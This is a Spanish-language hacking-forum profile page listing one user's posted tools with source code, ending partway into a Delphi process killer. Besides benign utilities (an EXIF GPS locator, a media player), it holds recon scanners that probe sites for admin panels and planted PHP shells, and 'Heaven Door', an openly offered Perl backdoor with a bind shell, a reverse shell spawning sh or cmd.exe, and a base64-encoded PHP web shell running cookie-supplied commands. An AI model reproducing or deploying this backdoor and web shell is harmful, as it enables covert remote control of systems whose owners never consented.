Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#1
Perl / [Perl] DH Image Locate 0.3
Marzo 31, 2017, 04:25:50 PM
Un script en Perl para localizar la coordenadas GPS de cualquier imagen que contenga este tag.

Si quieren el programa les redirige a google maps con las coordenadas encontradas.

El codigo :

Código: perl

#!usr/bin/perl
# DH Image Locate 0.3
#(C) Doddy Hackman 2016

use Image::ExifTool;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
    "dump_all=s"   => \$dump_all,
    "dump_gps_tags=s"  => \$dump_gps_tags,
    "locate=s"   => \$locate
);

head();

if ($dump_all) {

    if ( -f $dump_all ) {
        printear_titulo("[+] Finding information in : ");
        print $dump_all. "\n\n";
        dump_all($dump_all);
    }
    else {
        printear("[-] File not found\n");
    }

}
elsif ($dump_gps_tags) {

    if ( -f $dump_gps_tags ) {
        printear_titulo("[+] Finding GPS tags in : ");
        print $dump_gps_tags. "\n\n";
        dump_gps_tags_and_locate($dump_gps_tags,"0");
    }
    else {
        printear("[-] File not found\n");
    }
}
elsif ($locate) {

    if ( -f $locate ) {
        printear_titulo("[+] Scanning photo : ");
        print $locate. "\n\n";
        dump_gps_tags_and_locate($locate,"1");
    }
    else {
        printear("[-] File not found\n");
    }

} else {
    sintax();
}

copyright();

# Functions

sub dump_all {

    my $imagen_target = $_[0];

    my $datos_imagen       = new Image::ExifTool;
    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

    for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
        my $valor = $informacion_imagen->{$abriendo_imagen};
        printear("[+] $abriendo_imagen : ");
        print $valor. "\n";
    }

}

sub dump_gps_tags_and_locate {

my $imagen_target = shift;
my $locate = shift;

my $datos_imagen       = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

my $latitud = $informacion_imagen->{GPSLatitude};
my $longitud = $informacion_imagen->{GPSLongitude};
my $altitud = $informacion_imagen->{GPSAltitude};
my $fecha = $informacion_imagen->{GPSDateTime};
my $posicion_real = $informacion_imagen->{GPSPosition};

my $finder_ready = 0;


if($latitud ne "") {
printear("[+] Latitude : ");
print $latitud. "\n";
} else {
printear("[-] Latitude : ");
print "Not Found". "\n";
}

if($longitud ne "") {
printear("[+] Longitude : ");
print $longitud. "\n";
} else {
printear("[-] Longitude : ");
print "Not Found". "\n";
}
   
    if($latitud ne "") {
printear("[+] Altitude : ");
print $altitud. "\n";
} else {
printear("[-] Altitude : ");
print "Not Found". "\n";
}
   
    if($fecha ne "") {
printear("[+] DateTime : ");
print $fecha. "\n";
} else {
printear("[-] DateTime : ");
print "Not Found". "\n";
}
   
    if($posicion_real ne "") {
printear("[+] Position : ");
print $posicion_real. "\n";
$finder_ready = 1;
} else {
printear("[-] Position : ");
print "Not Found". "\n";
$finder_ready = 0;
}

if($locate eq "1") {
if($finder_ready eq "1") {
my $gps_split = $posicion_real;
$gps_split =~ s/deg//g;
$gps_split =~ s/'//g;
$gps_split =~ s/"//g;
$gps_split =~ s/W//g;
$gps_split =~ s/N,/-/g;
$gps_split =~ s/  / /g;

my $url = "https://www.google.com.ar/maps/search/".$gps_split."/";

printear_titulo("\n[!] Position Located\n\n");
printear("[+] GPS : ");
print $gps_split."\n";

printear("\n[?] Open in browser [y,n] : ");
chomp(my $rta = <STDIN>);
if($rta=~/y/ig) {
printear_titulo("\n[+] Enjoy the program !\n");
system("start firefox \"" . $url."\"");
} else {
printear("\n[+] GoogleMaps : ");
print $url. "\n";
}

} else {
printear_titulo("\n[-] Position GPS not available");
}
}

}

# More Functions

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {

    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-dump_all <image> : Get all information of a image\n";
    print "-dump_gps <image> : Get all tags GPS of a image\n";
    print "-locate <image> : Locate Image in GoogleMaps\n";
    printear("\n[+] Example : ");
    print "perl dh_image_locate.pl -dump_all test.jpg\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Image Locate 0.3 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?


Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#2
Delphi / [Delphi] Admin Finder 1.0
Febrero 23, 2017, 05:46:31 PM
Un programa para buscar el panel de administracion usando threads para ser mas rápido y cómodo al usuario.

Una imagen :



El codigo :

Código: delphi

// Admin Finder 1.0
// (C) Doddy Hackman 2016

unit finder;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, idHTTP, OtlThreadPool, OtlComm, OtlTask,
  OtlTaskControl, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbEnterConfiguration: TGroupBox;
    lblPage: TLabel;
    lblThreads: TLabel;
    txtPage: TEdit;
    txtThreads: TEdit;
    udThreads: TUpDown;
    gbConsole: TGroupBox;
    mmOutput: TMemo;
    btnStart: TButton;
    btnStop: TButton;
    status: TStatusBar;
    procedure btnStopClick(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

function check_page(page: string): boolean;
var
  nave: TIdHTTP;
begin
  try
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      nave.Get(page);
      if nave.ResponseCode = 200 then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
      nave.Free();
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

//

procedure TFormHome.btnStartClick(Sender: TObject);
var
  i: integer;
  path: string;
const
  paths: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
    'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
    'administracion/', 'administracion/index.php', 'administracion/login.php',
    'administracion/ingresar.php', 'administracion/admin.php',
    'administration/', 'administration/index.php', 'administration/login.php',
    'administrator/index.php', 'administrator/login.php',
    'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
    'login.php', 'administrador.php', 'administration.php', 'administrator.php',
    'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
    'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
    'admin/account.php', 'admin/account.html', 'admin/index.html',
    'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
    'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
    'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
    'administrator/login.html', 'administrator/account.html',
    'administrator/account.php', 'administrator.html', 'login.html',
    'modelsearch/login.php', 'moderator.php', 'moderator.html',
    'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
    'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
    'controlpanel/', 'controlpanel.php', 'controlpanel.html',
    'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
    'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
    'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
    'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
    'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
    'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
    'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
    'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
    'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
    'database_administration/', 'power_user/', 'system_administration/',
    'ss_vms_admin_sm/');
begin
  if not(txtPage.Text = '') and not(txtThreads.Text = '') then
  begin
    GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
      System.CPUCount;
    status.Panels[0].Text := '[+] Scanning ...';
    FormHome.Update;
    for i := Low(paths) to High(paths) do
    begin
      Application.ProcessMessages;
      path := txtPage.Text + '/' + paths[i];
      CreateTask(
        procedure(const task: IOmniTask)
        var
          path_to_load: string;
        begin

          path_to_load := task.Param['path'].AsString;

          status.Panels[0].Text := 'Checking : ' + path_to_load + ' ...';
          FormHome.Update;
          if (check_page(path_to_load)) then
          begin
            mmOutput.Lines.Add(path_to_load);
          end;

        end).SetParameter('path', path).Unobserved.Schedule;

    end;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    status.Panels[0].Text := '[+] Finished';
    FormHome.Update;

    message_box('Admin Finder 1.0', 'Scan Finished', 'Information');

  end
  else
  begin
    message_box('Admin Finder 1.0', 'Complete the configuration', 'Warning');
  end;
end;

procedure TFormHome.btnStopClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('Admin Finder 1.0', 'Scan Stopped', 'Information');
end;

end.

// The End ?


Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#3
Delphi / [Delphi] DH SAMP Cheater 0.4
Febrero 09, 2017, 08:41:15 PM
Un programa que hice en Delphi para automatizar los comandos cuando juego al GTA San Andreas Online (SAMP) , esta hecho exclusivamente para el servidor UIF.

Simplemente usan el atajo de teclado cuando esten jugando y el comando se ejecutara.

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#4
Perl / [Perl] DH Secret Finder 0.8
Enero 22, 2017, 09:36:42 AM
Un script en Perl que sirve como buscador de archivos web , tiene las siguientes opciones :

  • Buscar panel de administracion
  • Buscar dominios
  • Buscar directorios importantes
  • Buscar archivos importantes
  • Buscar PHP Shells
  • Guardar todo en logs

    El codigo :

    Código: perl

    # !usr/bin/perl
    # DH Secret Finder 0.8
    # (C) Doddy Hackman 2016
    # Credits for the arrays :
    # Dirs : directory-list-2.3-small.txt - Copyright 2007 James Fisher
    # Files : Based in wfuzz-1.4
    # Link for Files : https://raw.githubusercontent.com/tuwid/darkc0de-old-stuff/master/wfuzz-1.4/wordlists/common.txt
    # Shells : Based in https://github.com/bhavyanshu/Shell-Finder

    use LWP::UserAgent;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    GetOptions(
    "panels"   => \$panels,
    "domains"   => \$domains,
        "dirs"  => \$dirs,
        "files"   => \$files,
        "shells"   => \$shells,
    "url=s"   => \$url,
        "savefile=s"  => \$savefile,
        "verbose"  => \$verbose
    );

    head();

    if ($panels) {
    if($panels && $url) {
    search($url,"panel");
    } else {
    sintax();
    }
    }
    elsif ($domains) {
    if($domains && $url) {
    search($url,"domain");
    } else {
    sintax();
    }
    }
    elsif ($dirs) {
    if($dirs && $url) {
    search($url,"dir");
    } else {
    sintax();
    }
    }
    elsif ($files) {
    if($files && $url) {
    search($url,"file");
    } else {
    sintax();
    }
    }
    elsif ($shells) {
    if($shells && $url) {
    search($url,"shell");
    } else {
    sintax();
    }
    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub search {
    my ($url,$type) = @_;

    my $wordlist = "";
    my $name = "";

    if($type eq "panel") {
    $wordlist = "wordlists/panels.txt";
    $name = "Panels";
    } elsif($type eq "domain") {
    $wordlist = "wordlists/domains.txt";
    $name = "Domains";
    } elsif($type eq "dir") {
    $wordlist = "wordlists/directories.txt";
    $name = "Directories";
    } elsif($type eq "file") {
    $wordlist = "wordlists/files.txt";
    $name = "Files";
    } elsif($type eq "shell") {
    $wordlist = "wordlists/shells.txt";
    $name = "Shells";
    } else {
    $wordlist = "wordlists/panels.txt";
    $name = "Panels";
    }

    my $cantidad = 0;

    if(-f $wordlist) {
    printear_titulo("[+] Loading Wordlist ...\n");
    my @wordlist = load_wordlist($wordlist);
    printear("\n[+] Wordlist Loaded : ");
    print int(@wordlist)." lines\n";
    printear_logo("\n[+] Searching $name in $url ...\n\n");
    for my $line(@wordlist) {
    chomp $line;
    my $link = "";
    if($type eq "domain") {
    $link = $line.".".$url;
    } else {
    $link = $url."/".$line;
    }
    if(check_page($link)) {
    if($verbose) {
    printear("[+] Checking ");
    printear_logo("$link : ");
    printear_azul("OK\n");
    } else {
    printear_azul("[+] Link : $link\n");
    }
    $cantidad++;
    if($savefile) {
    savefile($savefile,"[+] Link : $link");
    }
    } else {
    if($verbose) {
    printear("[+] Checking ");
    printear_logo("$link : ");
    printear_rojo("FAIL\n");
    }
    }
    }
    printear("\n[+] $name Found : ");
    print "$cantidad\n";
    if($cantidad eq "0") {
    printear("\n[-] $name not found\n");
    }
    if($savefile) {
    printear_logo("\n[+] Logs $savefile saved\n");
    }
    printear_titulo("\n[+] Finished\n");
    } else {
    printear_rojo("\n[-] Wordlist not exists");
    }
    }

    # More Functions

    sub check_page {
    my $url = shift;
    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
    $nave->timeout(10);
    my $code = $nave->get($url);
    if ($code->is_success) {
    return 1;
    } else {
    return 0;
    }
    }

    sub load_wordlist {
        my @result;
        my @words;
        open( FILE, $_[0] );
        @words = <FILE>;
        close FILE;
        for (@words) {
            push( @result, $_ );
        }
        return (@result);
    }

    sub savefile {
    my ($filename,$text) = @_;
    open( SAVE, ">>" . $filename );
    print SAVE $text . "\n";
    close SAVE;
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub printear_rojo {
        cprint( "\x035" . $_[0] . "\x030" );
    }

    sub printear_azul {
        cprint( "\x033" . $_[0] . "\x030" );
    }

    sub sintax {
        printear("[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-panel -url <url> : Find panel administration in the URL\n";
        print "-domain -url <url> : Find domains in the URL\n";
        print "-dirs -url <url> : Find directories in the URL\n";
        print "-files -url <url> : Find files in the URL\n";
    print "-shells -url <url> : Find shells in the URL\n";
    print "-savefile <filename> : Save results\n";
        printear("\n[+] Example : ");
        print "perl secret_finder.pl -shells http://localhost/ -savefile results.txt\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == DH Secret Finder 0.8 == --\n\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
        exit(1);
    }

    #The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#5
Perl / [Perl] Heaven Door 1.0
Enero 20, 2017, 09:14:38 AM
Un script en Perl que funciona como backdoor con las siguientes opciones :

  • Backdoor
  • Reverse Shell
  • Generar backdoor PHP
  • Conectar con backdoor PHP

    El codigo :

    Código: perl

    # !usr/bin/perl
    # Heaven Door 1.0
    # (C) Doddy Hackman 2016

    use LWP::UserAgent;
    use MIME::Base64;
    use IO::Socket;
    use IO::Socket::SSL;
    use Cwd;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    GetOptions(
    "backdoor"   => \$backdoor,
    "reverse"   => \$reverse,
    "ip=s"   => \$ip,
        "port=s"   => \$port,
        "generate_backdoor"  => \$generate_backdoor,
        "filename=s"  => \$filename,
        "connect_backdoor"   => \$connect_backdoor,
        "url=s"   => \$url
    );

    head();

    if ($backdoor) {
    if($backdoor && $port) {
    backdoor($port);
    } else {
    sintax();
    }
    }
    elsif ($reverse) {
    if($reverse && $ip && $port) {
    reverse_shell($ip,$port);
    } else {
    sintax();
    }
    }
    elsif ($generate_backdoor) {
    if($filename) {
    cargar_generador_backdoor($filename);
    } else {
    sintax();
    }
    }
    elsif ($connect_backdoor) {
    if($url) {
    cargar_consola_backdoor($url);
    } else {
    sintax();
    }
    }
    else {
        sintax();
    }

    copyright();

    # Functions

    # Simple backdoor

    sub backdoor {

    my($port) = @_;

    $backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);

    printear("[+] Heaven_Door : ");
    print "Online\n";
    printear("[+] Port : ");
    print "$port\n";
    printear("[+] PID : ");
    print "$$\n\n";

    printear_titulo("[+] Connected");

    while ($jesus = $backdoor->accept()) {
    $jesus->autoflush(1);
    print $jesus "[+] Heaven_Door : Online\n[+] Port : 25256\n[+] PID : ".$$."\n\n";
    print $jesus "Welcome  ".$jesus->peerhost."\n\n";
    &extras;
    $dir = getcwd();
    print $jesus $dir.">>";
    while (<$jesus>) {
    my $yeah = qx($_);
    print $jesus "\n\n".$yeah."\n\n";
    print $jesus $dir.">>";
    }
    }

    sub extras {

    if ($^O =~/Win32/ig) {
    use if $^O eq "MSWin32", "Win32";
    print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
    print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
    print $jesus "[+] Username : ".Win32::LoginName()."\n\n";
    } else {
    $output =  `uname -a`;
    print $jesus "--==System Info==--\n\n".$output."\n";
    }
    }

    }

    #

    # Reverse Shell

    sub reverse_shell {
    my($ip,$port) = @_;
    printear_titulo("[+] Reverse Shell : ");
    print "Loaded\n\n";
    printear("[+] IP to connect : ");
    print $ip."\n";
    printear("[+] Port : ");
    print $port."\n\n";
    printear_logo("[+] Connecting ...\n\n");
    socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
    printear_titulo("[+] Reverse Shell successful\n\n");
    open (STDIN,">&REVERSE");
    open (STDOUT,">&REVERSE");
    open (STDERR,">&REVERSE");
    tipo();
    printear_logo("[+] Disconnecting ...\n\n");
    }

    sub tipo {
    if ($^O =~/Win32/ig) {
    infowin();
    system("cmd.exe");
    } else {
    infolinux();
    system("export TERM=xterm;exec sh -i");
    }
    }

    sub infowin {
    use if $^O eq "MSWin32", "Win32";
    print "[+] Domain Name : ".Win32::DomainName()."\n";
    print "[+] OS Version : ".Win32::GetOSName()."\n";
    print "[+] Username : ".Win32::LoginName()."\n\n";
    }

    sub infolinux {
    print "[+] System information\n\n";
    system("uname -a");
    print "\n";
    }

    #

    # More Functions

    sub cargar_consola_backdoor {
    printear("[+] Checking Backdoor ...\n\n");
    my $check1 = cargar_comando($url,"ver");
    my $check2 = cargar_comando($url,"uname -a");
    if(check_backdoor($check1) or check_backdoor($check2)) {
    printear_logo("[+] Backdoor Loaded\n");
    my($url) = @_;
    while(1) {
    printear("\n[+] Command : ");
    chomp( my $comando = <stdin> );
    if ( $comando =~ /exit/ ) {
    copyright();
    }
    my $code = cargar_comando($url,$comando);
    if(check_backdoor($code)) {
    my $output = extract_command_backdoor($code);
    if($output ne "") {
    printear_titulo("\n".$output."\n");
    } else {
    printear_titulo("\n"."[-] Invalid command"."\n");
    }
    } else {
    printear_titulo("\n"."[-] Invalid command"."\n");
    }
    }
    } else {
    printear_logo("[+] Backdoor not exists\n");
    }
    }

    sub check_backdoor {
    my $text = shift;
    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
    return 1;
    } else {
    return 0;
    }
    }

    sub extract_command_backdoor {
    my $text = shift;
    if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
    return $1;
    } else {
    return "";
    }
    }

    sub cargar_generador_backdoor {
    my $filename = shift;
    if(-f $filename) {
    unlink($filename);
    }
    printear_titulo("[+] Generating backdoor ...\n\n");
    generar_backdoor($filename);
    if(-f $filename) {
    printear("[+] Backdoor $filename generated !\n");
    } else {
    printear("[-] Error generating backdoor\n");
    }
    }

    sub generar_backdoor {
    my $filename = shift;
    my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
    savefile($filename,decode_base64($code));
    }

    sub cargar_comando {
    my($url,$command) = @_;
    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
    $nave->timeout(10);
    my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
    return decode_base64($contenido);
    }

    sub savefile {
    my ($filename,$text) = @_;
    open( SAVE, ">>" . $filename );
    print SAVE $text . "\n";
    close SAVE;
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub sintax {

        printear("[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-backdoor -port <port> : Enable backdoor in port\n";
        print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
        print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
        print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
        printear("\n[+] Example : ");
        print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
        exit(1);
    }

    #The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#6
C# - VB.NET / [C#] DH Player 1.2 (Regalo de navidad)
Diciembre 25, 2016, 07:47:52 PM
Como regalo de navidad , esta vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

    * Formatos de musica soportados : mp3,m4a,wma
    * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

  • Estaciones de radios de tipo : Rock,Electronica,Rap,Country,Musica clasica y mas generos ...
  • Tambien se puede reproducir cualquier radio online desde su link correspondiente

    * Las opciones de radio funcionan gracias a mplayer portable , no borren la carpeta "mplayer".

    Una imagen :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso es todo.
#7
Delphi / [Delphi] DH Process Killer 0.5
Diciembre 10, 2016, 09:32:50 PM
Un programa en Delphi para listar los procesos de Windows y darles muerte si quieren.

Se puede matar procesos por nombre,pid y por hash md5.

Una imagen :



El codigo :

Código: delphi

// Program : DH Process Killer
// Version : 0.5
// (C) Doddy Hackman 2016

unit ProcessKiller;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, tlhelp32, PsAPI, Vcl.ImgList, ShellApi, Vcl.Menus,
  Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, DH_Tools,
  Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbProcessFound: TGroupBox;
    lvProcess: TListView;
    status: TStatusBar;
    pmOpciones: TPopupMenu;
    RefreshList: TMenuItem;
    K1: TMenuItem;
    KillSelected: TMenuItem;
    KillByPID: TMenuItem;
    KillByName: TMenuItem;
    KillByMD5: TMenuItem;
    ilIconos: TImageList;
    ilIconosProcesos: TImageList;
    procedure FormCreate(Sender: TObject);
    procedure RefreshListClick(Sender: TObject);
    procedure KillSelectedClick(Sender: TObject);
    procedure KillByPIDClick(Sender: TObject);
    procedure KillByNameClick(Sender: TObject);
    procedure KillByMD5Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure listar_procesos;
